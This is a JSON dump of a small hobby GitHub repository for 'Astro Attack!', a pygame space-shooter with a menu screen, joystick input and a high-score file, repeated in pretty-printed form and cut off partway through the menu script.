like","value":[{"alpha_fraction":0.7857142686843872,"alphanum_fraction":0.7857142686843872,"avg_line_length":13,"blob_id":"e7c651dc296412a59f9ec73a992f1b676e047111","content_id":"a905b8861f065de2b59ca42cb171cf9599b04ebb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":28,"license_type":"no_license","max_line_length":13,"num_lines":2,"path":"/Astro Atack!/README.md","repo_name":"BYTEic/AstroAttack","src_encoding":"UTF-8","text":"# AstroAttack\n# AstroAttack\n"},{"alpha_fraction":0.608639121055603,"alphanum_fraction":0.6375325322151184,"avg_line_length":24.521072387695312,"blob_id":"37d432502abaeec01bd7e9194c13fd87c55ae3c7","content_id":"775d6d5824289018bc4f77fbff8e67454658bd9d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6990,"license_type":"no_license","max_line_length":147,"num_lines":261,"path":"/Astro Atack!/main_game.py","repo_name":"BYTEic/AstroAttack","src_encoding":"UTF-8","text":"import pygame\r\nimport random\r\ntry:\r\n pygame.joystick.init()\r\nexcept:\r\n pass\r\ndef getscores(row):\r\n config = open('hightscores.txt','r')\r\n lines = config.read().splitlines()\r\n return lines[row]\r\ndef setscores(lines):\r\n\twith open(\"hightscores.txt\", \"w\") as file:\r\n\t\tfor line in lines:\r\n\t\t\tfile.write(line + '\\n')\r\nwindow_size_x = 500\r\nwindow_size_y = 500\r\npygame.mixer.init(frequency=44100, size=-16, channels=1, buffer=4096)\r\npygame.init()\r\ngame = pygame.display.set_mode((window_size_x,window_size_y))\r\npygame.display.set_caption(\"Astro attack!\")\r\ngameover = False\r\nx = (500//2)-(32//2)\r\ny = 450\r\nwidth = 32\r\nheight = 32\r\nspeed = 5\r\nticks = 30\r\nrun = True\r\nleft = False\r\nright = False\r\nup = False\r\ndown = False\r\nlevel = 0\r\nbackX = 0\r\nbackY = -500\r\nlives_int = 3\r\n\r\nbullets = []\r\ndummies = []\r\n\r\nboom_sprite = pygame.image.load('sprites/boom.bmp')\r\n\r\nclass bullet_obj():\r\n\tdef __init__(self,x,y,facing,radius,color):\r\n\t\tself.x = x\r\n\t\tself.y = y\r\n\t\tself.facing = facing\r\n\t\tself.vel = 8 * facing\r\n\t\tself.radius = radius\r\n\t\tself.color = color\r\n\tdef draw(self, game):\r\n\t\tpygame.draw.circle(game,self.color, (self.x,self.y),self.radius)\r\n\r\nclass dummie_obj():\r\n\tdef __init__(self,x,y):\r\n\t\tself.x = x\r\n\t\tself.y = y\r\n\t\tself.vel = 2\r\n\tdef draw(self, game):\r\n\t\tgame.blit(dummie,(self.x,self.y))\r\n\tdef isCollide(self,x,y,width,height):\r\n\t\tif (self.x < (x + width) and (self.x + 32) > x and self.y < (y + height) and (32 + self.y) > y):\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\r\n\tdef boom(self,game):\r\n\t\tgame.blit(boom_sprite,(self.x,self.y))\r\n\t\tpygame.display.update()\r\n\r\nscore_hud = pygame.image.load('score_hud.bmp')\r\n\r\nlives_hud = pygame.image.load('Lives_hud.bmp')\r\n\r\nRightFrame = pygame.image.load('sprites/right.bmp')\r\n\r\nLeftFrame = pygame.image.load('sprites/left.bmp')\r\n\r\nForwardFrame = pygame.image.load('sprites/up.bmp')\r\n\r\nBackwardFrame = pygame.image.load('sprites/down.bmp')\r\n\r\nIDLEframe = pygame.image.load('sprites/SpaceShip1.bmp')\r\n\r\nbackground = pygame.image.load('space.bmp')\r\n\r\ndummie = pygame.image.load('sprites/SpaceShip2.bmp')\r\nchance_dummie_do_not_spawn = 0.9\r\nbasis33 = pygame.font.Font('basis33.ttf',50)\r\nscore_int = 0\r\nclock = pygame.time.Clock()\r\nscore_ = basis33.render(str(score_int), False, (0,0,250))\r\nlives_ = basis33.render(str(lives_int), False, (200,0,0))\r\nscore_RectObj = score_.get_rect()\r\nscore_RectObj.center = (140, 18)\r\nmusic = 0\r\nj_check = True\r\n\r\npygame.mixer.music.load(\"sounds/m1.wav\")\r\ndef update_window():\r\n\tglobal chance_dummie_do_not_spawn\r\n\tglobal music\r\n\tglobal backX\r\n\tglobal backY\r\n\tglobal score_RectObj\r\n\tchance_dummie_do_not_spawn -= 0.0000001\r\n\tgame.blit(background,(backX,backY))\r\n\tif music == 0:\r\n\t\tpygame.mixer.music.play(99999999,0)\r\n\tif music == 9100:\r\n\t\tmusic = -1\r\n\tmusic += 1\r\n\r\n\tbackY += 0.5\r\n\tif backY == 1:\r\n\t\tbackY = -500\r\n\tfor bullet in bullets:\r\n\t\tbullet.draw(game)\r\n\tfor dummie_ in dummies:\r\n\t\tdummie_.draw(game)\r\n\tif left:\r\n\t\tgame.blit(LeftFrame,(x,y))\r\n\telif right:\r\n\t\tgame.blit(RightFrame,(x,y))\r\n\telif up:\r\n\t\tgame.blit(ForwardFrame,(x,y))\r\n\telif down:\r\n\t\tgame.blit(BackwardFrame,(x,y))\r\n\telse:\r\n\t\tgame.blit(IDLEframe,(x,y))\r\n\tscore_ = basis33.render(str(score_int), True, (0,0,250))\r\n\tlives_ = basis33.render(str(lives_int), False, (200,0,0))\r\n\tgame.blit(lives_, (480,-5))\r\n\tgame.blit(lives_hud,(350,0))\r\n\tgame.blit(score_, score_RectObj)\r\n\tgame.blit(score_hud,(0,0))\r\n\tclock.tick(ticks)\r\n\tpygame.display.update()\r\n\r\nwhile run == True:\r\n\tif j_check:\r\n\t\ttry:\r\n\t\t\tJ_but0 = joystick.get_button(0)\r\n\t\t\tJ_but1 = joystick.get_button(1)\r\n\t\texcept:\r\n\t\t\tJ_but0 = False\r\n\t\t\tJ_but1 = False\r\n\t\t\tj_check = False\r\n\tkeys = pygame.key.get_pressed()\r\n\tjoystick_count = pygame.joystick.get_count()\r\n\tfor i in range(joystick_count):\r\n\t\tjoystick = pygame.joystick.Joystick(i)\r\n\t\tjoystick.init()\r\n\t\t# Get the name from the OS for the controller/joystick\r\n\t\tname = joystick.get_name()\r\n\t\t# Usually axis run in pairs, up/down for one, and left/right for\r\n\t\t# the other.\r\n\t\taxes = joystick.get_numaxes()\r\n\t\tfor i in range(axes):\r\n\t\t\taxis = joystick.get_axis(i)\r\n\r\n\t\tbuttons = joystick.get_numbuttons()\r\n\r\n\t\tfor i in range(buttons):\r\n\t\t\tbutton = joystick.get_button(i)\r\n\t\t\t#if button[pygame.j]\r\n\r\n\t\t# Hat switch. All or nothing for direction, not like joysticks.\r\n\t\t# Value comes back in an array.\r\n\t\thats = joystick.get_numhats()\r\n\r\n\r\n\t\tfor i in range(hats):\r\n\t\t\that = joystick.get_hat(i)\r\n\thoriz_axis_pos= round(joystick.get_axis(0))\r\n\tvert_axis_pos= round(joystick.get_axis(1))\r\n\r\n\r\n\tif (keys[pygame.K_z] or J_but0):\r\n\t\tif len(bullets) <= 5:\r\n\t\t\tbullets.append(bullet_obj(round(x + width // 2),round(y + height // 2),1,3,(random.randint(0,255),random.randint(0,255),random.randint(0,255))))\r\n\tif (keys[pygame.K_LEFT] or horiz_axis_pos == -1) and x > 0:\r\n\t\tx -=speed\r\n\t\tleft = True\r\n\t\tright = False\r\n\t\tup = False\r\n\t\tdown = False\r\n\t\tlastMove = \"left\"\r\n\telif (keys[pygame.K_RIGHT] or horiz_axis_pos == 1) and x < window_size_x - width:\r\n\t\tx +=speed\r\n\t\tleft = False\r\n\t\tright = True\r\n\t\tup = False\r\n\t\tdown = False\r\n\t\tlastMove = \"right\"\r\n\telif (keys[pygame.K_DOWN] or vert_axis_pos == 1) and y < window_size_y - height:\r\n\t\ty+=speed\r\n\t\tleft = False\r\n\t\tright = False\r\n\t\tup = False\r\n\t\tdown = True\r\n\t\tlastMove = \"down\"\r\n\telif (keys[pygame.K_UP] or vert_axis_pos == -1) and y > 0:\r\n\t\ty -=speed\r\n\t\tleft = False\r\n\t\tright = False\r\n\t\tup = True\r\n\t\tdown = False\r\n\t\tlastMove = \"up\"\r\n\telse:\r\n\t\tleft = False\r\n\t\tright = False\r\n\t\tup = False\r\n\t\tdown = False\r\n\t\tanimCount = 0\r\n\tif random.random() > chance_dummie_do_not_spawn:\r\n\t\tdummies.append(dummie_obj(random.randint(5,500),-40))\r\n\tfor event in pygame.event.get():\r\n\t\tif event == pygame.QUIT:\r\n\t\t\trun = False\r\n\tfor bullet in bullets:\r\n\t\tif bullet.y < 500 and bullet.y > 0:\r\n\t\t\tbullet.y -= bullet.vel\r\n\t\telse:\r\n\t\t\tbullets.pop(bullets.index(bullet))\r\n\tfor dummie_ in dummies:\r\n\t\tif dummie_.y < 500 and dummie_.y > -50:\r\n\t\t\tdummie_.y += dummie_.vel\r\n\t\telse:\r\n\t\t\tdummies.pop(dummies.index(dummie_))\r\n\t\tif dummie_.isCollide(x,y,width,height):\r\n\t\t\tdummie_.boom(game)\r\n\t\t\tdummies.pop(dummies.index(dummie_))\r\n\t\t\tif lives_int == 1:\r\n\t\t\t\tif score_int < int(getscores(0)):\r\n\t\t\t\t\tif score_int < int(getscores(1)):\r\n\t\t\t\t\t\tif score_int < int(getscores(2)):\r\n\t\t\t\t\t\t\tlines = [getscores(0),getscores(1),getscores(2)]\r\n\t\t\t\t\t\t\tsetscores(lines)\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tlines = [getscores(0),getscores(1),str(score_int)]\r\n\t\t\t\t\t\t\tsetscores(lines)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tlines = [getscores(0),str(score_int),getscores(1)]\r\n\t\t\t\t\t\tsetscores(lines)\r\n\t\t\t\telse:\r\n\t\t\t\t\tlines = [str(score_int),getscores(0),getscores(1)]\r\n\t\t\t\t\tsetscores(lines)\r\n\t\t\t\traise SystemExit\r\n\t\t\telse:\r\n\t\t\t\tlives_int -= 1\r\n\t\tfor bullet in bullets:\r\n\t\t\tif dummie_.isCollide(bullet.x,bullet.y,32,32):\r\n\t\t\t\tdummie_.boom(game)\r\n\t\t\t\ttry:\r\n\t\t\t\t\tdummies.pop(dummies.index(dummie_))\r\n\t\t\t\t\tbullets.pop(bullets.index(bullet))\r\n\t\t\t\texcept ValueError:\r\n\t\t\t\t\tprint(u'Не обращайте внимание, это предупреждение о том что сразу две пули попали в объект((((')\r\n\t\t\t\tscore_int += 1\r\n\tupdate_window()\r\nrun = False\r\n"},{"alpha_fraction":0.5405872464179993,"alphanum_fraction":0.5868739485740662,"avg_line_length":27.24242401123047,"blob_id":"3850e1db6f32688c036946509bb16ce667e3edf3","content_id":"afc305e3aef9ab4b5f0e35da241d581f253683a2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2895,"license_type":"no_license","max_line_length":92,"num_lines":99,"path":"/Astro Atack!/menu.py","repo_name":"BYTEic/AstroAttack","src_encoding":"UTF-8","text":"import pygame\r\nimport time\r\nrun = False\r\npygame.joystick.init()\r\njoystick = pygame.joystick.Joystick(0)\r\njoystick.init()\r\ndef getscores_all():\r\n config = open('hightscores.txt','r')\r\n return config.read().splitlines()\r\ndef game_init__():\r\n global window_size_x\r\n window_size_x = 500\r\n global window_size_y\r\n window_size_y = 500\r\n global menuScores\r\n menuScores = False\r\n global ticks\r\n ticks = 30\r\n global clock\r\n clock = pygame.time.Clock()\r\n global run_menu\r\n run_menu = True\r\n pygame.mixer.init(frequency=44100, size=-16, channels=1, buffer=4096)\r\n pygame.init()\r\n global menu\r\n menu = pygame.display.set_mode((window_size_x,window_size_y))\r\n pygame.display.set_caption(\"Astro attack!\")\r\n global background\r\n background = pygame.image.load('menuScreen.bmp')\r\n global basis33\r\n basis33 = pygame.font.Font('basis33.ttf',40)\r\n global press_b_text\r\n press_b_text = basis33.render('PRESS B FOR GET HIGHSCORES', True, (200,200,0), (0,0,50))\r\n global HIGHTSCORES\r\n HIGHTSCORES_list = getscores_all()\r\n HIGHTSCORES = basis33.render('HIGHSCORES', False, (200,200,0))\r\n global hight0\r\n hight0 = basis33.render(HIGHTSCORES_list[0],False, (0,250,0))\r\n global hight1\r\n hight1 = basis33.render(HIGHTSCORES_list[1],False, (0,250,0))\r\n global hight2\r\n hight2 = basis33.render(HIGHTSCORES_list[2],False, (0,250,0))\r\n pygame.mixer.music.load(\"sounds/menu.wav\")\r\n global gameover_hud\r\n gameover_hud = pygame.image.load('gameover_hud.bmp')\r\n global music\r\n music = 0\r\ngame_init__()\r\n\r\ndef update_window_menu():\r\n global music\r\n menu.blit(background,(0,0))\r\n if music == 0:\r\n pygame.mixer.music.play(5,0)\r\n if music == 4000000:\r\n music = -1\r\n music += 1\r\n menu.blit(press_b_text,(0,0))\r\n if menuScores:\r\n menu.fill((0,0,0))\r\n menu.blit(HIGHTSCORES,(0,0))\r\n menu.blit(hight0,(50,50))\r\n menu.blit(hight1,(50,100))\r\n menu.blit(hight2,(50,150))\r\n clock.tick(ticks)\r\n pygame.display.update()\r\ngame_init__()\r\ncheck_j = True\r\nwhile run_menu:\r\n if check_j:\r\n try:\r\n J_but0 = joystick.get_button(0)\r\n J_but1 = joystick.get_button(1)\r\n except:\r\n J_but0 = False\r\n J_but1 = False\r\n check_j = False\r\n for event in pygame.event.get():\r\n if event == pygame.QUIT:\r\n pygame.quit()\r\n keys = pygame.key.get_pressed()\r\n if keys[pygame.K_z] or J_but0:\r\n try:\r\n import main_game\r\n except SystemExit:\r\n menu.blit(gameover_hud, (0,0))\r\n\r\n game_init__()\r\n\r\n if keys[pygame.K_x] or J_but1:\r\n if menuScores == False:\r\n menuScores = True\r\n time.sleep(0.2)\r\n else:\r\n menuScores = False\r\n time.sleep(0.2)\r\n\r\n update_window_menu()\r\nimport menu\r\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7857142686843872,\n \"alphanum_fraction\": 0.7857142686843872,\n \"avg_line_length\": 13,\n \"blob_id\": \"e7c651dc296412a59f9ec73a992f1b676e047111\",\n \"content_id\": \"a905b8861f065de2b59ca42cb171cf9599b04ebb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 28,\n \"license_type\": \"no_license\",\n \"max_line_length\": 13,\n \"num_lines\": 2,\n \"path\": \"/Astro Atack!/README.md\",\n \"repo_name\": \"BYTEic/AstroAttack\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# AstroAttack\\n# AstroAttack\\n\"\n },\n {\n \"alpha_fraction\": 0.608639121055603,\n \"alphanum_fraction\": 0.6375325322151184,\n \"avg_line_length\": 24.521072387695312,\n \"blob_id\": \"37d432502abaeec01bd7e9194c13fd87c55ae3c7\",\n \"content_id\": \"775d6d5824289018bc4f77fbff8e67454658bd9d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6990,\n \"license_type\": \"no_license\",\n \"max_line_length\": 147,\n \"num_lines\": 261,\n \"path\": \"/Astro Atack!/main_game.py\",\n \"repo_name\": \"BYTEic/AstroAttack\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pygame\\r\\nimport random\\r\\ntry:\\r\\n pygame.joystick.init()\\r\\nexcept:\\r\\n pass\\r\\ndef getscores(row):\\r\\n config = open('hightscores.txt','r')\\r\\n lines = config.read().splitlines()\\r\\n return lines[row]\\r\\ndef setscores(lines):\\r\\n\\twith open(\\\"hightscores.txt\\\", \\\"w\\\") as file:\\r\\n\\t\\tfor line in lines:\\r\\n\\t\\t\\tfile.write(line + '\\\\n')\\r\\nwindow_size_x = 500\\r\\nwindow_size_y = 500\\r\\npygame.mixer.init(frequency=44100, size=-16, channels=1, buffer=4096)\\r\\npygame.init()\\r\\ngame = pygame.display.set_mode((window_size_x,window_size_y))\\r\\npygame.display.set_caption(\\\"Astro attack!\\\")\\r\\ngameover = False\\r\\nx = (500//2)-(32//2)\\r\\ny = 450\\r\\nwidth = 32\\r\\nheight = 32\\r\\nspeed = 5\\r\\nticks = 30\\r\\nrun = True\\r\\nleft = False\\r\\nright = False\\r\\nup = False\\r\\ndown = False\\r\\nlevel = 0\\r\\nbackX = 0\\r\\nbackY = -500\\r\\nlives_int = 3\\r\\n\\r\\nbullets = []\\r\\ndummies = []\\r\\n\\r\\nboom_sprite = pygame.image.load('sprites/boom.bmp')\\r\\n\\r\\nclass bullet_obj():\\r\\n\\tdef __init__(self,x,y,facing,radius,color):\\r\\n\\t\\tself.x = x\\r\\n\\t\\tself.y = y\\r\\n\\t\\tself.facing = facing\\r\\n\\t\\tself.vel = 8 * facing\\r\\n\\t\\tself.radius = radius\\r\\n\\t\\tself.color = color\\r\\n\\tdef draw(self, game):\\r\\n\\t\\tpygame.draw.circle(game,self.color, (self.x,self.y),self.radius)\\r\\n\\r\\nclass dummie_obj():\\r\\n\\tdef __init__(self,x,y):\\r\\n\\t\\tself.x = x\\r\\n\\t\\tself.y = y\\r\\n\\t\\tself.vel = 2\\r\\n\\tdef draw(self, game):\\r\\n\\t\\tgame.blit(dummie,(self.x,self.y))\\r\\n\\tdef isCollide(self,x,y,width,height):\\r\\n\\t\\tif (self.x < (x + width) and (self.x + 32) > x and self.y < (y + height) and (32 + self.y) > y):\\r\\n\\t\\t\\treturn True\\r\\n\\t\\telse:\\r\\n\\t\\t\\treturn False\\r\\n\\tdef boom(self,game):\\r\\n\\t\\tgame.blit(boom_sprite,(self.x,self.y))\\r\\n\\t\\tpygame.display.update()\\r\\n\\r\\nscore_hud = pygame.image.load('score_hud.bmp')\\r\\n\\r\\nlives_hud = pygame.image.load('Lives_hud.bmp')\\r\\n\\r\\nRightFrame = pygame.image.load('sprites/right.bmp')\\r\\n\\r\\nLeftFrame = pygame.image.load('sprites/left.bmp')\\r\\n\\r\\nForwardFrame = pygame.image.load('sprites/up.bmp')\\r\\n\\r\\nBackwardFrame = pygame.image.load('sprites/down.bmp')\\r\\n\\r\\nIDLEframe = pygame.image.load('sprites/SpaceShip1.bmp')\\r\\n\\r\\nbackground = pygame.image.load('space.bmp')\\r\\n\\r\\ndummie = pygame.image.load('sprites/SpaceShip2.bmp')\\r\\nchance_dummie_do_not_spawn = 0.9\\r\\nbasis33 = pygame.font.Font('basis33.ttf',50)\\r\\nscore_int = 0\\r\\nclock = pygame.time.Clock()\\r\\nscore_ = basis33.render(str(score_int), False, (0,0,250))\\r\\nlives_ = basis33.render(str(lives_int), False, (200,0,0))\\r\\nscore_RectObj = score_.get_rect()\\r\\nscore_RectObj.center = (140, 18)\\r\\nmusic = 0\\r\\nj_check = True\\r\\n\\r\\npygame.mixer.music.load(\\\"sounds/m1.wav\\\")\\r\\ndef update_window():\\r\\n\\tglobal chance_dummie_do_not_spawn\\r\\n\\tglobal music\\r\\n\\tglobal backX\\r\\n\\tglobal backY\\r\\n\\tglobal score_RectObj\\r\\n\\tchance_dummie_do_not_spawn -= 0.0000001\\r\\n\\tgame.blit(background,(backX,backY))\\r\\n\\tif music == 0:\\r\\n\\t\\tpygame.mixer.music.play(99999999,0)\\r\\n\\tif music == 9100:\\r\\n\\t\\tmusic = -1\\r\\n\\tmusic += 1\\r\\n\\r\\n\\tbackY += 0.5\\r\\n\\tif backY == 1:\\r\\n\\t\\tbackY = -500\\r\\n\\tfor bullet in bullets:\\r\\n\\t\\tbullet.draw(game)\\r\\n\\tfor dummie_ in dummies:\\r\\n\\t\\tdummie_.draw(game)\\r\\n\\tif left:\\r\\n\\t\\tgame.blit(LeftFrame,(x,y))\\r\\n\\telif right:\\r\\n\\t\\tgame.blit(RightFrame,(x,y))\\r\\n\\telif up:\\r\\n\\t\\tgame.blit(ForwardFrame,(x,y))\\r\\n\\telif down:\\r\\n\\t\\tgame.blit(BackwardFrame,(x,y))\\r\\n\\telse:\\r\\n\\t\\tgame.blit(IDLEframe,(x,y))\\r\\n\\tscore_ = basis33.render(str(score_int), True, (0,0,250))\\r\\n\\tlives_ = basis33.render(str(lives_int), False, (200,0,0))\\r\\n\\tgame.blit(lives_, (480,-5))\\r\\n\\tgame.blit(lives_hud,(350,0))\\r\\n\\tgame.blit(score_, score_RectObj)\\r\\n\\tgame.blit(score_hud,(0,0))\\r\\n\\tclock.tick(ticks)\\r\\n\\tpygame.display.update()\\r\\n\\r\\nwhile run == True:\\r\\n\\tif j_check:\\r\\n\\t\\ttry:\\r\\n\\t\\t\\tJ_but0 = joystick.get_button(0)\\r\\n\\t\\t\\tJ_but1 = joystick.get_button(1)\\r\\n\\t\\texcept:\\r\\n\\t\\t\\tJ_but0 = False\\r\\n\\t\\t\\tJ_but1 = False\\r\\n\\t\\t\\tj_check = False\\r\\n\\tkeys = pygame.key.get_pressed()\\r\\n\\tjoystick_count = pygame.joystick.get_count()\\r\\n\\tfor i in range(joystick_count):\\r\\n\\t\\tjoystick = pygame.joystick.Joystick(i)\\r\\n\\t\\tjoystick.init()\\r\\n\\t\\t# Get the name from the OS for the controller/joystick\\r\\n\\t\\tname = joystick.get_name()\\r\\n\\t\\t# Usually axis run in pairs, up/down for one, and left/right for\\r\\n\\t\\t# the other.\\r\\n\\t\\taxes = joystick.get_numaxes()\\r\\n\\t\\tfor i in range(axes):\\r\\n\\t\\t\\taxis = joystick.get_axis(i)\\r\\n\\r\\n\\t\\tbuttons = joystick.get_numbuttons()\\r\\n\\r\\n\\t\\tfor i in range(buttons):\\r\\n\\t\\t\\tbutton = joystick.get_button(i)\\r\\n\\t\\t\\t#if button[pygame.j]\\r\\n\\r\\n\\t\\t# Hat switch. All or nothing for direction, not like joysticks.\\r\\n\\t\\t# Value comes back in an array.\\r\\n\\t\\thats = joystick.get_numhats()\\r\\n\\r\\n\\r\\n\\t\\tfor i in range(hats):\\r\\n\\t\\t\\that = joystick.get_hat(i)\\r\\n\\thoriz_axis_pos= round(joystick.get_axis(0))\\r\\n\\tvert_axis_pos= round(joystick.get_axis(1))\\r\\n\\r\\n\\r\\n\\tif (keys[pygame.K_z] or J_but0):\\r\\n\\t\\tif len(bullets) <= 5:\\r\\n\\t\\t\\tbullets.append(bullet_obj(round(x + width // 2),round(y + height // 2),1,3,(random.randint(0,255),random.randint(0,255),random.randint(0,255))))\\r\\n\\tif (keys[pygame.K_LEFT] or horiz_axis_pos == -1) and x > 0:\\r\\n\\t\\tx -=speed\\r\\n\\t\\tleft = True\\r\\n\\t\\tright = False\\r\\n\\t\\tup = False\\r\\n\\t\\tdown = False\\r\\n\\t\\tlastMove = \\\"left\\\"\\r\\n\\telif (keys[pygame.K_RIGHT] or horiz_axis_pos == 1) and x < window_size_x - width:\\r\\n\\t\\tx +=speed\\r\\n\\t\\tleft = False\\r\\n\\t\\tright = True\\r\\n\\t\\tup = False\\r\\n\\t\\tdown = False\\r\\n\\t\\tlastMove = \\\"right\\\"\\r\\n\\telif (keys[pygame.K_DOWN] or vert_axis_pos == 1) and y < window_size_y - height:\\r\\n\\t\\ty+=speed\\r\\n\\t\\tleft = False\\r\\n\\t\\tright = False\\r\\n\\t\\tup = False\\r\\n\\t\\tdown = True\\r\\n\\t\\tlastMove = \\\"down\\\"\\r\\n\\telif (keys[pygame.K_UP] or vert_axis_pos == -1) and y > 0:\\r\\n\\t\\ty -=speed\\r\\n\\t\\tleft = False\\r\\n\\t\\tright = False\\r\\n\\t\\tup = True\\r\\n\\t\\tdown = False\\r\\n\\t\\tlastMove = \\\"up\\\"\\r\\n\\telse:\\r\\n\\t\\tleft = False\\r\\n\\t\\tright = False\\r\\n\\t\\tup = False\\r\\n\\t\\tdown = False\\r\\n\\t\\tanimCount = 0\\r\\n\\tif random.random() > chance_dummie_do_not_spawn:\\r\\n\\t\\tdummies.append(dummie_obj(random.randint(5,500),-40))\\r\\n\\tfor event in pygame.event.get():\\r\\n\\t\\tif event == pygame.QUIT:\\r\\n\\t\\t\\trun = False\\r\\n\\tfor bullet in bullets:\\r\\n\\t\\tif bullet.y < 500 and bullet.y > 0:\\r\\n\\t\\t\\tbullet.y -= bullet.vel\\r\\n\\t\\telse:\\r\\n\\t\\t\\tbullets.pop(bullets.index(bullet))\\r\\n\\tfor dummie_ in dummies:\\r\\n\\t\\tif dummie_.y < 500 and dummie_.y > -50:\\r\\n\\t\\t\\tdummie_.y += dummie_.vel\\r\\n\\t\\telse:\\r\\n\\t\\t\\tdummies.pop(dummies.index(dummie_))\\r\\n\\t\\tif dummie_.isCollide(x,y,width,height):\\r\\n\\t\\t\\tdummie_.boom(game)\\r\\n\\t\\t\\tdummies.pop(dummies.index(dummie_))\\r\\n\\t\\t\\tif lives_int == 1:\\r\\n\\t\\t\\t\\tif score_int < int(getscores(0)):\\r\\n\\t\\t\\t\\t\\tif score_int < int(getscores(1)):\\r\\n\\t\\t\\t\\t\\t\\tif score_int < int(getscores(2)):\\r\\n\\t\\t\\t\\t\\t\\t\\tlines = [getscores(0),getscores(1),getscores(2)]\\r\\n\\t\\t\\t\\t\\t\\t\\tsetscores(lines)\\r\\n\\t\\t\\t\\t\\t\\telse:\\r\\n\\t\\t\\t\\t\\t\\t\\tlines = [getscores(0),getscores(1),str(score_int)]\\r\\n\\t\\t\\t\\t\\t\\t\\tsetscores(lines)\\r\\n\\t\\t\\t\\t\\telse:\\r\\n\\t\\t\\t\\t\\t\\tlines = [getscores(0),str(score_int),getscores(1)]\\r\\n\\t\\t\\t\\t\\t\\tsetscores(lines)\\r\\n\\t\\t\\t\\telse:\\r\\n\\t\\t\\t\\t\\tlines = [str(score_int),getscores(0),getscores(1)]\\r\\n\\t\\t\\t\\t\\tsetscores(lines)\\r\\n\\t\\t\\t\\traise SystemExit\\r\\n\\t\\t\\telse:\\r\\n\\t\\t\\t\\tlives_int -= 1\\r\\n\\t\\tfor bullet in bullets:\\r\\n\\t\\t\\tif dummie_.isCollide(bullet.x,bullet.y,32,32):\\r\\n\\t\\t\\t\\tdummie_.boom(game)\\r\\n\\t\\t\\t\\ttry:\\r\\n\\t\\t\\t\\t\\tdummies.pop(dummies.index(dummie_))\\r\\n\\t\\t\\t\\t\\tbullets.pop(bullets.index(bullet))\\r\\n\\t\\t\\t\\texcept ValueError:\\r\\n\\t\\t\\t\\t\\tprint(u'Не обращайте внимание, это предупреждение о том что сразу две пули попали в объект((((')\\r\\n\\t\\t\\t\\tscore_int += 1\\r\\n\\tupdate_window()\\r\\nrun = False\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.5405872464179993,\n \"alphanum_fraction\": 0.5868739485740662,\n \"avg_line_length\": 27.24242401123047,\n \"blob_id\": \"3850e1db6f32688c036946509bb16ce667e3edf3\",\n \"content_id\": \"afc305e3aef9ab4b5f0e35da241d581f253683a2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2895,\n \"license_type\": \"no_license\",\n \"max_line_length\": 92,\n \"num_lines\": 99,\n \"path\": \"/Astro Atack!/menu.py\",\n \"repo_name\": \"BYTEic/AstroAttack\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pygame\\r\\nimport time\\r\\nrun = False\\r\\npygame.joystick.init()\\r\\njoystick = pygame.joystick.Joystick(0)\\r\\njoystick.init()\\r\\ndef getscores_all():\\r\\n config = open('hightscores.txt','r')\\r\\n return config.read().splitlines()\\r\\ndef game_init__():\\r\\n global window_size_x\\r\\n window_size_x = 500\\r\\n global window_size_y\\r\\n window_size_y = 500\\r\\n global menuScores\\r\\n menuScores = False\\r\\n global ticks\\r\\n ticks = 30\\r\\n global clock\\r\\n clock = pygame.time.Clock()\\r\\n global run_menu\\r\\n run_menu = True\\r\\n pygame.mixer.init(frequency=44100, size=-16, channels=1, buffer=4096)\\r\\n pygame.init()\\r\\n global menu\\r\\n menu = pygame.display.set_mode((window_size_x,window_size_y))\\r\\n pygame.display.set_caption(\\\"Astro attack!\\\")\\r\\n global background\\r\\n background = pygame.image.load('menuScreen.bmp')\\r\\n global basis33\\r\\n basis33 = pygame.font.Font('basis33.ttf',40)\\r\\n global press_b_text\\r\\n press_b_text = basis33.render('PRESS B FOR GET HIGHSCORES', True, (200,200,0), (0,0,50))\\r\\n global HIGHTSCORES\\r\\n HIGHTSCORES_list = getscores_all()\\r\\n HIGHTSCORES = basis33.render('HIGHSCORES', False, (200,200,0))\\r\\n global hight0\\r\\n hight0 = basis33.render(HIGHTSCORES_list[0],False, (0,250,0))\\r\\n global hight1\\r\\n hight1 = basis33.render(HIGHTSCORES_list[1],False, (0,250,0))\\r\\n global hight2\\r\\n hight2 = basis33.render(HIGHTSCORES_list[2],False, (0,250,0))\\r\\n pygame.mixer.music.load(\\\"sounds/menu.wav\\\")\\r\\n global gameover_hud\\r\\n gameover_hud = pygame.image.load('gameover_hud.bmp')\\r\\n global music\\r\\n music = 0\\r\\ngame_init__()\\r\\n\\r\\ndef update_window_menu():\\r\\n global music\\r\\n menu.blit(background,(0,0))\\r\\n if music == 0:\\r\\n pygame.mixer.music.play(5,0)\\r\\n if music == 4000000:\\r\\n music = -1\\r\\n music += 1\\r\\n menu.blit(press_b_text,(0,0))\\r\\n if menuScores:\\r\\n menu.fill((0,0,0))\\r\\n menu.blit(HIGHTSCORES,(0,0))\\r\\n menu.blit(hight0,(50,50))\\r\\n menu.blit(hight1,(50,100))\\r\\n menu.blit(hight2,(50,150))\\r\\n clock.tick(ticks)\\r\\n pygame.display.update()\\r\\ngame_init__()\\r\\ncheck_j = True\\r\\nwhile run_menu:\\r\\n if check_j:\\r\\n try:\\r\\n J_but0 = joystick.get_button(0)\\r\\n J_but1 = joystick.get_button(1)\\r\\n except:\\r\\n J_but0 = False\\r\\n J_but1 = False\\r\\n check_j = False\\r\\n for event in pygame.event.get():\\r\\n if event == pygame.QUIT:\\r\\n pygame.quit()\\r\\n keys = pygame.key.get_pressed()\\r\\n if keys[pygame.K_z] or J_but0:\\r\\n try:\\r\\n import main_game\\r\\n except SystemExit:\\r\\n 